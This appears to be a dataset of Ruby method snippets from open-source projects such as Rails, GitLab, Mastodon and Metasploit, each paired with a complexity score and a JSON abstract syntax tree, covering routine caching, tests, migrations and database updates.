{"repo_name":"openproject","file_path":"./repos/openproject/app/services/work_packages/shared/working_days.rb","start_line":184,"raw_source":"def non_working_dates\n        @non_working_dates ||= RequestStore.fetch(:work_package_non_working_dates) { Set.new(NonWorkingDay.pluck(:date)) }\n      end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"non_working_dates\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@non_working_dates\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RequestStore\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"work_package_non_working_dates\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Set\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NonWorkingDay\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"date\"]}]}]}]}]}]}","id":"38ab922f-4991-440a-8c8a-acb701581ba9"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/spec/system/admin/report_notes_spec.rb","start_line":104,"raw_source":"def submit_form\n        click_on I18n.t('admin.reports.notes.create')\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"submit_form\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"click_on\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"admin.reports.notes.create\"]}]}]}]}","id":"e0004642-1a86-4683-bc1a-4736e79846fc"}
{"repo_name":"spree","file_path":"./repos/spree/admin/app/controllers/spree/admin/orders/customer_returns_controller.rb","start_line":47,"raw_source":"def build_return_items_from_params\n          return_items_params = permitted_resource_params.delete(:return_items_attributes).values\n\n          @customer_return.return_items = return_items_params.map do |item_params|\n            next unless item_params.delete('returned') == '1'\n\n            return_item = item_params[:id] ? Spree::ReturnItem.find(item_params[:id]) : Spree::ReturnItem.new\n            return_item.attributes = item_params\n            return_item\n          end.compact\n        end","complexity_score":23.7,"ast_json":"{\"type\":\"def\",\"children\":[\"build_return_items_from_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"return_items_params\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"permitted_resource_params\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"return_items_attributes\"]}]},\"values\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@customer_return\"]},\"return_items=\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"return_items_params\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item_params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item_params\"]},\"delete\",{\"type\":\"str\",\"children\":[\"returned\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"1\"]}]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"return_item\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"ReturnItem\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"ReturnItem\"]},\"new\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"return_item\"]},\"attributes=\",{\"type\":\"lvar\",\"children\":[\"item_params\"]}]},{\"type\":\"lvar\",\"children\":[\"return_item\"]}]}]},\"compact\"]}]}]}]}","id":"473aae7f-ec7f-4be5-acbc-49c654a7d515"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/script_generator_test.rb","start_line":19,"raw_source":"def test_generate_script_with_folder\n        run_generator [\"my_folder/my_script\"]\n\n        assert_file \"script/my_folder/my_script.rb\" do |script|\n          assert_match('require_relative \"../../config/environment\"', script)\n        end\n      end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_generate_script_with_folder\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"my_folder/my_script\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"script/my_folder/my_script.rb\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"script\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"str\",\"children\":[\"require_relative \\\"../../config/environment\\\"\"]},{\"type\":\"lvar\",\"children\":[\"script\"]}]}]}]}]}","id":"96fe2cce-9920-4001-9321-21831171b208"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_widget.rb","start_line":169,"raw_source":"def generate_content_complete_message\n    message  = \"Widget Generation for #{miq_task.context_data[:targets]} groups complete\"\n    message << \" (#{miq_task.context_data[:error]} in Error)\"    if miq_task.context_data.key?(:error)\n    message << \" (#{miq_task.context_data[:timeout]} Timed Out)\" if miq_task.context_data.key?(:timeout)\n    message\n  end","complexity_score":25.0,"ast_json":"{\"type\":\"def\",\"children\":[\"generate_content_complete_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Widget Generation for \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"miq_task\"]},\"context_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"targets\"]}]}]},{\"type\":\"str\",\"children\":[\" groups complete\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"miq_task\"]},\"context_data\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"error\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"miq_task\"]},\"context_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"error\"]}]}]},{\"type\":\"str\",\"children\":[\" in Error)\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"miq_task\"]},\"context_data\"]},\"key?\",{\"type\":\"sym\",\"children\":[\"timeout\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"miq_task\"]},\"context_data\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"timeout\"]}]}]},{\"type\":\"str\",\"children\":[\" Timed Out)\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}","id":"7696d874-e8f7-4cbb-9379-3c4514023084"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/eager_test.rb","start_line":136,"raw_source":"def test_loading_association_with_same_table_joins\n    super_memberships = [memberships(:super_membership_of_boring_club)]\n\n    member = Member.joins(:favorite_memberships).first\n    assert_equal members(:groucho), member\n    assert_equal super_memberships, member.super_memberships\n\n    member = Member.joins(:favorite_memberships).preload(:super_memberships).first\n    assert_equal members(:groucho), member\n    assert_equal super_memberships, member.super_memberships\n\n    member = Member.joins(:favorite_memberships).eager_load(:super_memberships).first\n    assert_equal members(:groucho), member\n    assert_equal super_memberships, member.super_memberships\n  end","complexity_score":27.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_loading_association_with_same_table_joins\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"super_memberships\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"memberships\",{\"type\":\"sym\",\"children\":[\"super_membership_of_boring_club\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"member\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Member\"]},\"joins\",{\"type\":\"sym\",\"children\":[\"favorite_memberships\"]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"members\",{\"type\":\"sym\",\"children\":[\"groucho\"]}]},{\"type\":\"lvar\",\"children\":[\"member\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"super_memberships\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"member\"]},\"super_memberships\"]}]},{\"type\":\"lvasgn\",\"children\":[\"member\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Member\"]},\"joins\",{\"type\":\"sym\",\"children\":[\"favorite_memberships\"]}]},\"preload\",{\"type\":\"sym\",\"children\":[\"super_memberships\"]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"members\",{\"type\":\"sym\",\"children\":[\"groucho\"]}]},{\"type\":\"lvar\",\"children\":[\"member\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"super_memberships\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"member\"]},\"super_memberships\"]}]},{\"type\":\"lvasgn\",\"children\":[\"member\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Member\"]},\"joins\",{\"type\":\"sym\",\"children\":[\"favorite_memberships\"]}]},\"eager_load\",{\"type\":\"sym\",\"children\":[\"super_memberships\"]}]},\"first\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[null,\"members\",{\"type\":\"sym\",\"children\":[\"groucho\"]}]},{\"type\":\"lvar\",\"children\":[\"member\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"super_memberships\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"member\"]},\"super_memberships\"]}]}]}]}","id":"3cff146e-e32e-405a-90b7-6f03123f04ae"}
{"repo_name":"forem","file_path":"./repos/forem/app/view_objects/articles/social_image.rb","start_line":25,"raw_source":"def user_defined_image\n      return article.main_image if article.main_image.present?\n      return article.social_image if article.social_image.present?\n      return article.video_thumbnail_url if article.video_thumbnail_url.present?\n    end","complexity_score":21.0,"ast_json":"{\"type\":\"def\",\"children\":[\"user_defined_image\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"article\"]},\"main_image\"]},\"present?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"article\"]},\"main_image\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"article\"]},\"social_image\"]},\"present?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"article\"]},\"social_image\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"article\"]},\"video_thumbnail_url\"]},\"present?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"article\"]},\"video_thumbnail_url\"]}]},null]}]}]}","id":"f446dc41-0c23-4509-ace4-b296182a1140"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git_access_wiki.rb","start_line":33,"raw_source":"def build_can_download?\n      super && user_access.can_do_action?(download_ability)\n    end","complexity_score":4.7,"ast_json":"{\"type\":\"def\",\"children\":[\"build_can_download?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_access\"]},\"can_do_action?\",{\"type\":\"send\",\"children\":[null,\"download_ability\"]}]}]}]}","id":"30873907-9bd1-4431-a8a0-df8f1d05a901"}
{"repo_name":"forem","file_path":"./repos/forem/app/lib/reverse_markdown/converters/custom_pre.rb","start_line":15,"raw_source":"def treat(node, state)\n        case node.name\n        when \"code\", \"text\"\n          node.text\n        when \"br\"\n          \"\\n\"\n        else\n          super\n        end\n      end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"treat\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"arg\",\"children\":[\"state\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"name\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"code\"]},{\"type\":\"str\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"text\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"br\"]},{\"type\":\"str\",\"children\":[\"\\n\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"97ba01be-a89a-4241-a98c-81fb588f4bf8"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/join_model_test.rb","start_line":170,"raw_source":"def test_create_polymorphic_has_one_with_scope\n    old_count = Tagging.count\n    tagging = posts(:welcome).create_tagging(tag: tags(:misc))\n    assert_equal \"Post\", tagging.taggable_type\n    assert_equal old_count + 1, Tagging.count\n  end","complexity_score":12.35,"ast_json":"{\"type\":\"def\",\"children\":[\"test_create_polymorphic_has_one_with_scope\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"old_count\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tagging\"]},\"count\"]}]},{\"type\":\"lvasgn\",\"children\":[\"tagging\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"posts\",{\"type\":\"sym\",\"children\":[\"welcome\"]}]},\"create_tagging\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tag\"]},{\"type\":\"send\",\"children\":[null,\"tags\",{\"type\":\"sym\",\"children\":[\"misc\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"Post\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tagging\"]},\"taggable_type\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"old_count\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Tagging\"]},\"count\"]}]}]}]}","id":"1a4e7cb3-68f5-4c7e-9957-56773c923220"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/transactions.rb","start_line":428,"raw_source":"def with_transaction_returning_status\n      self.class.with_connection do |connection|\n        connection.pool.with_pool_transaction_isolation_level(ActiveRecord.default_transaction_isolation_level, connection.transaction_open?) do\n          status = nil\n          ensure_finalize = !connection.transaction_open?\n\n          connection.transaction do\n            add_to_transaction(ensure_finalize || has_transactional_callbacks?)\n            remember_transaction_record_state\n\n            status = yield\n            raise ActiveRecord::Rollback unless status\n          end\n          @_last_transaction_return_status = status\n          status\n        end\n      end\n    end","complexity_score":31.2,"ast_json":"{\"type\":\"def\",\"children\":[\"with_transaction_returning_status\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"with_connection\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"connection\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection\"]},\"pool\"]},\"with_pool_transaction_isolation_level\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"default_transaction_isolation_level\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection\"]},\"transaction_open?\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"status\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"ensure_finalize\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection\"]},\"transaction_open?\"]},\"!\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection\"]},\"transaction\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_to_transaction\",{\"type\":\"or\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ensure_finalize\"]},{\"type\":\"send\",\"children\":[null,\"has_transactional_callbacks?\"]}]}]},{\"type\":\"send\",\"children\":[null,\"remember_transaction_record_state\"]},{\"type\":\"lvasgn\",\"children\":[\"status\",{\"type\":\"yield\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"status\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Rollback\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@_last_transaction_return_status\",{\"type\":\"lvar\",\"children\":[\"status\"]}]},{\"type\":\"lvar\",\"children\":[\"status\"]}]}]}]}]}","id":"e759ccae-eda4-47ab-b059-17885f27d74b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/db/migrate/20241129160936_add_streaming_destination_ref_to_external_audit_event_destinations.rb","start_line":23,"raw_source":"def down\n    remove_concurrent_index_by_name :audit_events_external_audit_event_destinations,\n      \"uniq_idx_audit_events_ext_audit_event_stream_dests\"\n\n    with_lock_retries do\n      remove_foreign_key :audit_events_external_audit_event_destinations,\n        :audit_events_group_external_streaming_destinations,\n        column: :stream_destination_id\n      remove_column :audit_events_external_audit_event_destinations, :stream_destination_id\n    end\n  end","complexity_score":5.4,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_concurrent_index_by_name\",{\"type\":\"sym\",\"children\":[\"audit_events_external_audit_event_destinations\"]},{\"type\":\"str\",\"children\":[\"uniq_idx_audit_events_ext_audit_event_stream_dests\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_lock_retries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"remove_foreign_key\",{\"type\":\"sym\",\"children\":[\"audit_events_external_audit_event_destinations\"]},{\"type\":\"sym\",\"children\":[\"audit_events_group_external_streaming_destinations\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"stream_destination_id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"audit_events_external_audit_event_destinations\"]},{\"type\":\"sym\",\"children\":[\"stream_destination_id\"]}]}]}]}]}]}","id":"c87c07e0-6af4-4ce1-b1ae-5fd91178ee6d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/db_manager/login.rb","start_line":8,"raw_source":"def update_login(opts)\n    ::ApplicationRecord.connection_pool.with_connection {\n      wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework, false)\n      opts = opts.clone()\n      opts[:workspace] = wspace if wspace\n      id = opts.delete(:id)\n      login = Metasploit::Credential::Login.find(id)\n      login.update!(opts)\n      return login\n    }\n  end","complexity_score":17.9,"ast_json":"{\"type\":\"def\",\"children\":[\"update_login\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ApplicationRecord\"]},\"connection_pool\"]},\"with_connection\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"wspace\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Util\"]},\"DBManager\"]},\"process_opts_workspace\",{\"type\":\"lvar\",\"children\":[\"opts\"]},{\"type\":\"send\",\"children\":[null,\"framework\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"clone\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wspace\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"workspace\"]},{\"type\":\"lvar\",\"children\":[\"wspace\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"login\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Metasploit\"]},\"Credential\"]},\"Login\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"login\"]},\"update!\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"login\"]}]}]}]}]}","id":"02169bab-d32c-4c61-884a-f785f5dbbd10"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/lib/identity_cache/cached/reference/has_one.rb","start_line":7,"raw_source":"def initialize(name, reflection:)\n          super\n          @cached_id_name = \"fetch_#{id_name}\"\n          @id_variable_name = :\"@#{id_cached_reader_name}\"\n        end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"kwarg\",\"children\":[\"reflection\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@cached_id_name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"fetch_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"id_name\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@id_variable_name\",{\"type\":\"dsym\",\"children\":[{\"type\":\"str\",\"children\":[\"@\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"id_cached_reader_name\"]}]}]}]}]}]}","id":"0040e953-e49b-4512-a1e2-cd8f48f7442b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/graphql/types/namespaces/available_features_type.rb","start_line":119,"raw_source":"def custom_fields_enabled?\n        object.licensed_feature_available?(:custom_fields)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"custom_fields_enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"licensed_feature_available?\",{\"type\":\"sym\",\"children\":[\"custom_fields\"]}]}]}","id":"7647a94f-d970-41bf-8cfa-79e00cb79d94"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/feature_flags/update_service.rb","start_line":110,"raw_source":"def can_update?(feature_flag)\n      Ability.allowed?(current_user, :update_feature_flag, feature_flag)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"can_update?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"feature_flag\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ability\"]},\"allowed?\",{\"type\":\"send\",\"children\":[null,\"current_user\"]},{\"type\":\"sym\",\"children\":[\"update_feature_flag\"]},{\"type\":\"lvar\",\"children\":[\"feature_flag\"]}]}]}","id":"950c227d-2e48-4dd2-80ad-fb9ca987bfcd"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/notifications_test.rb","start_line":275,"raw_source":"def test_monotonic_timed_subscribed\n      event_name = \"foo\"\n      class_of_started = nil\n      class_of_finished = nil\n      callback = lambda do |name, started, finished, unique_id, data|\n        class_of_started = started.class\n        class_of_finished = finished.class\n      end\n\n      ActiveSupport::Notifications.subscribed(callback, event_name, monotonic: true) do\n        ActiveSupport::Notifications.instrument(event_name)\n      end\n\n      ActiveSupport::Notifications.instrument(event_name)\n\n      assert_equal [Float, Float], [class_of_started, class_of_finished]\n    end","complexity_score":15.9,"ast_json":"{\"type\":\"def\",\"children\":[\"test_monotonic_timed_subscribed\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"event_name\",{\"type\":\"str\",\"children\":[\"foo\"]}]},{\"type\":\"lvasgn\",\"children\":[\"class_of_started\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"class_of_finished\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"callback\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"started\"]},{\"type\":\"arg\",\"children\":[\"finished\"]},{\"type\":\"arg\",\"children\":[\"unique_id\"]},{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"class_of_started\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"started\"]},\"class\"]}]},{\"type\":\"lvasgn\",\"children\":[\"class_of_finished\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"finished\"]},\"class\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Notifications\"]},\"subscribed\",{\"type\":\"lvar\",\"children\":[\"callback\"]},{\"type\":\"lvar\",\"children\":[\"event_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"monotonic\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Notifications\"]},\"instrument\",{\"type\":\"lvar\",\"children\":[\"event_name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"Notifications\"]},\"instrument\",{\"type\":\"lvar\",\"children\":[\"event_name\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Float\"]},{\"type\":\"const\",\"children\":[null,\"Float\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"class_of_started\"]},{\"type\":\"lvar\",\"children\":[\"class_of_finished\"]}]}]}]}]}"